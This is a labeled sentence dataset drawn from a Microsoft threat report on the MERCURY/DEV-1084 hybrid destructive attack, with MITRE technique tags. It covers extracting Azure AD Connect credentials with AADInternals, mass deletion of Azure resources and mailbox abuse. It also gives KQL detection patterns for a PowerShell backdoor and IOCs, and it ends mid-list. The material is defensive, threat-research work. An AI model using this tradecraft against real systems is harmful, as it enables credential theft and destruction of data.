{"sentence": "Microsoft Threat Intelligence has detected destructive operations enabled by MERCURY, a nation-state actor linked to the Iranian government, that attacked both on-premises and cloud environments.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "While the threat actors attempted to masquerade the activity as a standard ransomware campaign, the unrecoverable actions show destruction and disruption were the ultimate goals of the operation.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Previous MERCURY attacks have been observed targeting on-premises environments, however, the impact in this case notably also included destruction of cloud resources.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft assesses that MERCURY likely worked in partnership with another actor that Microsoft tracks as DEV-1084, who carried out the destructive actions after MERCURY’s successful operations had gained access to the target environment.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "MERCURY likely exploited known vulnerabilities in unpatched applications for initial access before handing off access to DEV-1084 to perform extensive reconnaissance and discovery, establish persistence, and move laterally throughout the network, oftentimes waiting weeks and sometimes months before progressing to the next stage.", "labels": ["T1190"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "DEV-1084 was then later observed leveraging highly privileged compromised credentials to perform en masse destruction of resources, including server farms, virtual machines, storage accounts, and virtual networks, and send emails to internal and external recipients.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "In this blog post, we detail our analysis of the observed actor activity and related tools.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "We also share information to the community and industry partners on ways to detect these attacks, including detection details of MERCURY and DEV-1084’s tools in Microsoft 365 Defender, Microsoft Defender for Identity, Microsoft Defender for Cloud Applications, Microsoft Defender Antivirus, and Microsoft Defender for Endpoint.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we reach high confidence about the origin or identity of the actor behind the activity.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Who is DEV-1084?", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft tracks the destructive actions documented in this blog post as DEV-1084.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "DEV-1084 likely worked in partnership with MERCURY—an Iran-based actor that the US Cyber Command has publicly linked to Iran’s Ministry of Intelligence and Security (MOIS).", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "DEV-1084 publicly adopted the DarkBit persona and presented itself as a criminal actor interested in extortion, likely as an attempt to obfuscate Iran’s link to and strategic motivation for the attack.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The link between the DEV-1084 cluster and MERCURY was established based on the following evidence: DEV-1084 operators were observed sending threatening emails from 146.70.106[.]89, an IP address previously linked to MERCURY.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "DEV-1084 used MULLVAD VPN, the same VPN provider historically used by MERCURY.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "DEV-1084 used Rport and a customized version of Ligolo.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "MERCURY has also been observed using Rport and a similar version of Ligolo in previous attacks.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "DEV-1084 used the vatacloud[.]com domain for command and control (C2) during this incident.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft assesses with high-confidence that the vatacloud[.]com domain is controlled by MERCURY operators.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft assesses that MERCURY gains access to the targets through remote exploitation of an unpatched internet-facing device.", "labels": ["T1190"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "MERCURY then handed off access to DEV-1084.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "It is not currently clear if DEV-1084 operates independently of MERCURY and works with other Iranian actors or if DEV-1084 is an ‘effects based’ sub-team of MERCURY that only surfaces when MERCURY operators are instructed to carry out a destructive attack.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Early activities, related attacker tools and techniques Microsoft assesses with moderate confidence that the threat actors attempted several times and succeeded to perform initial intrusion leveraging exposed vulnerable applications, for example, continuing to exploit Log4j 2 vulnerabilities in unpatched systems in July 2022.", "labels": ["T1190"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "After gaining access, the threat actors deploy several tools and leverage techniques to maintain persistence, which provide effective and continued access to compromised devices, such as the following:", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Installing web shells Adding a local user account and elevating privileges to local administrator Installing legitimate remote access tools, such as RPort, Ligolo and eHorus Installing a customized PowerShell script backdoor Stealing credentials Once the persistence is established, the threat actors perform extensive discovery leveraging common native Windows tools and commands such as netstat and nltest.", "labels": ["T1016", "T1219"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Such reconnaissance activities were seen leveraged throughout the attack chain.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The threat actors consistently perform extensive lateral movement actions using the acquired credentials within a targeted environment.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "These actions mainly involved: Remote scheduled tasks to launch their customized PowerShell backdoor Windows Management Instrumentation (WMI) to launch commands on devices Remote services to run encoded PowerShell commands After infecting the new devices, the threat actors often installed the same persistence mechanisms as described above.", "labels": ["T1047", "T1053.005"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Interestingly, after each main attack step, the actors did not always immediately continue their operations but would wait weeks and sometimes months before moving to the next step.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "For execution and communication, the threat actors leverage several C2 servers and sometimes deploy tunnelling tools, such as Ligolo and OpenSSH, commonly leveraged to stay under the radar of security teams and solutions.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "On-premises destructive impact In observed activity, the threat actors leveraged highly privileged credentials and access to domain controllers on on-premises destructive operations to prepare for large-scale encryption of targeted devices.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "To do so, they first interfered with security tools using Group Policy Objects (GPO).", "labels": ["T1484.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "With defenses impaired, the threat actors proceeded to stage the ransomware payload in the NETLOGON shares on several domain controllers.", "labels": ["T1484.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "GPO was leveraged again to register a scheduled task used to launch the ransomware payload.", "labels": ["T1053.005", "T1484.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Finally, the ransomware payload encrypted files found on the file system of the targeted devices by changing the file name extension to DARKBIT and dropped ransom notes.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "On-premises attack flow Moving from on-premises to cloud To move from on-premises to the cloud, the threat actors had to first compromise two privileged accounts and leverage them to manipulate the Azure Active Directory (Azure AD) Connect agent.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Two weeks before the ransomware deployment, the threat actors first used a compromised, highly privileged account to access the device where the Azure Active Directory (Azure AD) Connect agent is installed.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "We assess with high confidence that the threat actors then used the AADInternals tool to extract the plaintext credentials of a privileged Azure AD account.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The threat actors then used these credentials to pivot from the on-premises environment to the Azure AD environment.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Azure AD Connect is an on-premises application for managing hybrid identities through features like password hash synchronization, pass-through authentication, objects synchronization, and others.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "As part of the express settings installation process, multiple accounts are created both in the on-premises (Windows Server Active Directory) and cloud (Azure AD) environments.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The first account is the AD DS Connector Account.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The account name is prefixed with MSOL_", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "and it is created with a long complex password.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Example of AD DS Connector account", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "This account’s permissions are set based on features enabled during the service’s installation, but in most common scenarios, the account has permissions to replicate directory changes, modify passwords, modify users, modify groups, and so on (see all the permissions here).", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "In addition, during installation, an Azure AD account called the Azure AD Connector Account is also created.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "This account is used by the synchronization service to manage Azure AD objects.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The account is created with a long complex password as well, and by default (if using the express settings) prefixed with Sync_[ServerName].", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "This user is assigned with the Directory Synchronization Accounts role (see detailed permissions of this role here).", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "In older versions, this account might be assigned with the Global Administrator role.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Example of an Azure AD Connector account There are other entities detailed here that are created but are less relevant to this topic.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Extracting credentials Two weeks before the ransomware deployment, the threat actors were observed using compromised credentials to access the Azure AD Connect device.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Next, they set up an SSH tunnel to an attacker-controlled device.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "On a separate attacker-controlled compromised device, evidence indicates cloning of the AADInternals tool.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "One of the functions available in this tool’s library is Get-AADIntSyncCredentials, which allows any local administrator on a device where Azure AD Connect is installed to extract the plaintext credentials of both the Azure AD Connector account and the AD DS Connector account.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Shortly before the ransomware deployment, we observed authentication from a known attacker IP address into the Azure AD Connector cloud account.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Investigating this sign-in showed that the threat actors were able to access the account on the first attempt without any guessing or modification of the password, indicating that the actors possessed the password for this account.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The Azure AD Connector account is configured with single-factor authentication, making it easier for the attacker to gain entry and elevate privileges.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Cloud destructive impact On the day of the ransomware attack, the threat actors executed multiple actions in the cloud using two privileged accounts.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The first account was the compromised Azure AD Connector account, which had Global Administrator permissions as it was set up for an old solution (DirSync).", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "For the second account, which also had Global Administrator permissions, the threat actors leveraged RDP for access into the account.", "labels": ["T1021.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Even though this account had MFA in place, the threat actors accessed it through RDP, which is an open session that evades MFA blocking their activities.", "labels": ["T1021.001"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Pivoting to the cloud Mass Azure resource deletion On the same day, a successful sign-in to the Microsoft Azure environment was observed.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The threat actors claimed the Global Administrator permission through Azure Privileged Identity Management (PIM) and elevated access to get permissions to the target’s management groups and Azure subscriptions.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The Azure AD Connector account and the compromised administrator account were then used to perform significant destruction of the Azure environment—deleting within a few hours server farms, virtual machines, storage accounts, and virtual networks.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "We assess that the attacker’s goal was to cause data loss and a denial of service (DoS) of the target’s services.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Exchange Web Server API abuse The actors went on to provide an existing legitimate OAuth application with both the full_access_as_app permission and administrator consent, which granted the threat actors full access to mailboxes through Exchange Web Services. Figure 5.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Adding access permission to the existing application With the obtained cloud administrator privileges, the threat actors updated the OAuth application with certificates to conduct malicious activities.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "These newly added credentials could then be used to issue access tokens and authenticate on behalf of the application to access cloud resources.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "We then observed the threat actors using this application’s permissions to perform GetItem operations over many mailboxes in the target environment.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "They also performed thousands of search activities, which we suspect were attempts to dump mailboxes and/or search for sensitive data in them.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Email impersonation The threat actors used the compromised administrator account to grant SMTP Send on behalf permissions to the Azure AD Connector account over a high-ranking employee’s mailbox, using the Set-Mailbox PowerShell cmdlet. Figure 6.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Threat actors granting access to send emails on behalf of the target’s account Emails were then created and sent both internally and externally.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Threat actors successfully sent email through the targeted account The timeline below summarizes the sequence of events: Figure 8.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Cloud attack flow timeline Mitigations for destructive attacks The techniques used by the actors and described in this blog can be mitigated by adopting the following security measures: Recommendations to secure your on-prem environment Refer to Microsoft’s blog Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself for recommendations on building strong credential hygiene and other robust measures to defend against ransomware and human operated attacks.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Enable tamper protection – Tamper protection is a feature in Microsoft Defender for Endpoint that prevents antivirus tampering and misconfiguration by malicious apps and actors.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Customers running Intune can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Recommendations to secure your Azure AD environment Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Search unified audit logs for the SendAs operation to identify and track emails sent on behalf of a user mailbox.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Further steps and recommendation to manage, design, and secure your Azure AD environment can be found by referring to Azure Identity Management and access control security best practices.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Detections Microsoft 365 Defender", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The following alerts in Microsoft 365 Defender can be used to detect suspicious operations in Azure related to the attacker activities described in this blog, including destructive activity: Access elevation by risky user Suspicious Azure resource deletions Suspicious Addition of an Exchange related App Role In addition, the following alert can help detect compromised Azure AD Connect accounts: Unusual activities by Azure AD Connect sync account Microsoft Defender for Cloud Apps For Microsoft Defender for Cloud Apps with Azure Connector enabled, the following alerts can be used to detect destructive operations in Azure: Multiple storage deletion activities Multiple delete VM activities Azure AD Identity Protection Monitor medium and high severity alerts for highly privileged accounts as they can indicate malicious activity.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "For example: Unfamiliar sign-in properties Find details of Azure AD Identity Protection alerts here.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft Defender for", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Identity The following Microsoft Defender for Identity alerts can indicate associated threat activity: Suspicious additions to sensitive groups For relevant accounts with Honeytoken configured, the following alert can indicate malicious activity:", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Honeytoken activity Microsoft Defender Antivirus Microsoft Defender Antivirus detects attempted exploitation and post-exploitation activity and payloads.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Turn on cloud-delivered protection to cover rapidly evolving attacker tools and techniques.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Cloud-based machine learning protections block most new and unknown threats.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Refer to the list of detection names related to exploitation of Log4j 2 vulnerabilities.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Detections for the IOCs listed above are listed below: Backdoor:PHP/Remoteshell.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "V HackTool:Win32/LSADump VirTool:Win32/RemoteExec Trojan:PowerShell/Downloader.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "SB Trojan:Win32/Nibtse.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "G!tsk Backdoor:ASP/Shellman.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "SA Ransom:Win64/DarkBit VirTool:Win32/AtExecCommand Microsoft Defender for Endpoint Microsoft Defender for Endpoint alerts with the following titles can indicate possible presence of the indicators of compromise listed below.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Mercury actor activity detected Ransomware-linked emerging threat actor DEV-1084 detected Reducing the attack surface Microsoft Defender for Endpoint customers can turn on the following attack surface reduction rule to block or audit some observed activity associated with this threat: Block executable files from running unless they meet a prevalence, age, or trusted list criterion.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Implement controlled folder access and add folders to the protected folders list to help prevent files from being altered or encrypted by ransomware.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Set controlled folder access to Enabled.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Detecting Log4j 2 exploitation Alerts that indicate threat activity related to the exploitation of the Log4j 2 exploitation should be immediately investigated and remediated.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Refer to our Log4j related blogs to learn about this vulnerability and for a list of Microsoft Defender for Endpoint alerts that can indicate exploitation and exploitation attempts.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Detecting post-exploitation activity Alerts with the following titles may indicate post-exploitation threat activity related to MERCURY activity described in this blog and should be immediately investigated and remediated.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "These alerts are supported on both Windows and Linux platforms: Any alert title related to web shell threats, for example: ‘WebShell’ backdoor was prevented on an IIS Web server Any alert title that mentions the DarkBit ransomware threat or DEV-1084, for example: ‘DarkBit’ ransomware was blocked ‘DarkBit’ ransomware was detected ‘DarkBit’ ransomware was prevented Ransomware-linked emerging threat actor DEV-1084 detected Any alert title that mentions suspicious scheduled task creation or execution, for example: Suspicious scheduled task Any alert title that mentions suspected tunneling activity, for example: Suspicious SSH tunneling activity Any alert title that mentions suspected tampering activity, for example: Suspicious Microsoft Defender Antivirus exclusion Microsoft Defender Antivirus tampering Any alert title that mentions PowerShell, for example: Suspicious process executed PowerShell command A malicious PowerShell Cmdlet was invoked on the machine Suspicious PowerShell command line Suspicious PowerShell download or encoded command execution Suspicious remote PowerShell execution Any alert title related to suspicious remote activity, for example: Suspicious RDP session An active ‘RemoteExec’ malware was blocked Suspicious service registration Any alert related to persistence: Anomaly detected in ASEP registry User account created under suspicious circumstances Any alert title that mentions credential dumping activity or tools, for example: Malicious credential theft tool execution detected Credential dumping activity observed Mimikatz credential theft tool ‘DumpLsass’ malware was blocked on a Microsoft SQL server Microsoft Defender Vulnerability Management", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "In addition to the mitigations above being presented and managed through Microsoft Defender Vulnerability Management, Microsoft 365 Defender customers can use threat and vulnerability management to identify and remediate devices that are vulnerable to Log4j 2 exploitation.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "More comprehensive guidance on this capability can be found on this blog: Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Advanced hunting queries Microsoft 365 Defender To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: // Advanced Hunting Query to surface potential Mercury PowerShell script backdoor installation DeviceFileEvents | where InitiatingProcessFileName =~ \"powershell.exe\" | where FolderPath in~ (@\"c:\\programdata\\db.ps1\", @\"c:\\programdata\\db.sqlite\")", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "| summarize min(Timestamp), max(Timestamp) by DeviceId, SHA256, InitiatingProcessParentFileName DeviceProcessEvents | where InitiatingProcessFileName =~ \"powershell.exe\" | where InitiatingProcessCommandLine has_cs", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "\"-EP BYPASS -NoP -W h\" | summarize makeset(ProcessCommandLine), min(Timestamp), max(Timestamp) by DeviceId // Advanced Hunting Query to surface potential Mercury PowerShell script backdoor initiating commands DeviceProcessEvents | where InitiatingProcessFileName =~ \"powershell.exe\" | where InitiatingProcessCommandLine contains_cs @\"c:\\programdata\\db.ps1\" | summarize makeset(ProcessCommandLine), min(Timestamp), max(Timestamp) by DeviceId //Advanced", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Hunting Query for Azure resource deletion activity let PrivEscalation = CloudAppEvents | where Application == \"Microsoft Azure\" | where ActionType == \"ElevateAccess Microsoft.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Authorization\" | where ActivityObjects has \"Azure Subscription\" and ActivityObjects has \"Azure Resource Group\" | extend PrivEscalationTime = Timestamp | project AccountObjectId, PrivEscalationTime ,ActionType; CloudAppEvents | join kind = inner PrivEscalation on AccountObjectId | extend DeletionTime = Timestamp | where (DeletionTime - PrivEscalationTime) <= 1h | where Application == \"Microsoft Azure\" | where ActionType has \"Delete\" |summarize min(DeletionTime), TotalResourcersDeleted =count(), CountOfDistinctResources= dcount(ActionType), DistinctResources=make_set(ActionType) by AccountObjectId //AHQ used to detect attacker abusing OAuth application during the attack CloudAppEvents | where Application == \"Office 365\" | where ActionType == \"Consent to application.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "ResultStatus =~ \"success\" | extend UserId = tostring(RawEventData.UserId)", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "| mv-expand AdminConsent = RawEventData.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "ModifiedProperties | where AdminConsent.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Name == \"ConsentContext.IsAdminConsent\" and AdminConsent.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "NewValue == \"True\" | project ConsentTimestamp =Timestamp, UserId, AccountObjectId, ReportId, ActionType | join kind = leftouter (CloudAppEvents | where Application == \"Office 365\" | where ActionType == \"Add app role assignment to service principal.\"", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "| extend PermissionAddedTo = tostring(RawEventData.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Target[3].ID) | extend FullAccessPermission =", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "RawEventData.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "ModifiedProperties | extend OuthAppName = tostring(FullAccessPermission[6].NewValue)", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "// Find app name | extend OAuthApplicationId = tostring(FullAccessPermission[7].NewValue) //", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Find appId | extend AppRoleValue = tostring(FullAccessPermission[1].NewValue) //", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Permission Level | where AppRoleValue == \"full_access_as_app\" | project PermissionTime=Timestamp, InitiatingUser=AccountDisplayName, OuthAppName, OAuthApplicationId, AppRoleValue, AccountObjectId, FullAccessPermission ) on AccountObjectId Microsoft Sentinel Microsoft Sentinel has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog in addition to Microsoft Defender detections list above. full_access_as_app Granted To Application Potential SSH Tunnel to AAD Connect Host Suspicious Sign", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "In by AAD Connect Sync Account Malicious web application requests linked with Microsoft Defender for Endpoint Web Shell Activity Tracking Privileged Account Rare Activity Mass Cloud resource deletions Time Series Anomaly Consent to Application discovery OAuth Application Required Resource Access Update Rare application consent Credential added after admin consented to ApplicationNew access credential added to Application or Service Principal Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "More details on the Content Hub can be found here: https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy Indicators of compromise (IOCs)", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "The below list provides IOCs observed during our investigation.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "IndicatorTypeDescription9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ffDEV-1084 ransom payload8thCurse.exe80bd00c0f6d5e39b542ee6e9b67b1eef97b2dbc6ec6cae87bf5148f1cf18c260DEV-1084 batch script8dd9773c24703e803903e7a5faa088c2df9a4b509549e768f29276ef86ef96aeDEV-1084 batch script486eb80171c086f4d184423ed7e79303ad7276834e5e5529b199f8ae5fc661f2DEV-1084 batch scriptf1edff0fb16a64ac5a2ce64579d0d76920c37a0fd183d4c19219ca990f50effcDEV-1084 batch script887ae654d69ac5ccb8835e565a449d7716d6c4747dc2fbff1f59f11723244202DEV-1084 batch script3fba459d589cd513d2478fb4ae7c4efd6aa09e62bc3ff249a19f9a233e922061DEV-1084 batch script0dde13e3cd2dcda522eeb565b6374c97b3ed4aa6b8ed9ff9b6224ea97bf2a584DEV-1084 batch scriptafd16b9ad57eb9c26c8ae347c379c8e2b82361c7bdff5b189659674d5614854cDEV-1084 batch script3e59d36faf2d5e6edf1d881e2043a46055c63b7c68cc08d44cc7fc1b364157ebDEV-1084 batch script786bd97172ec0cef88f6ea08e3cb482fd15cf28ab22d37792e3a86fa3c27c975DEV-1084 batch script36c71ce7cd38733eb66f32a8c56acd635680197f01585c5a2a846cc3cb0a8fe2DEV-1084 batch script016967de76382c674b3a1cb912eb85ff642b2ebfe4e107fc576065f172c6ef80DEV-1084 batch script3059844c102595172bb7f644c9a70d77a198a11f1e84539792408b1f19954e18DEV-1084 batch script194.61.121[.]86Command and controlhxxps://pairing[.]rport[.]io/qMLc2WxDownload Rport software from it141.95.22[.]153Command and control193.200[.]16.3Command and control192.52.166[.]191Command and control45.56.162[.]111Command and control104.194.222[.]219Command and 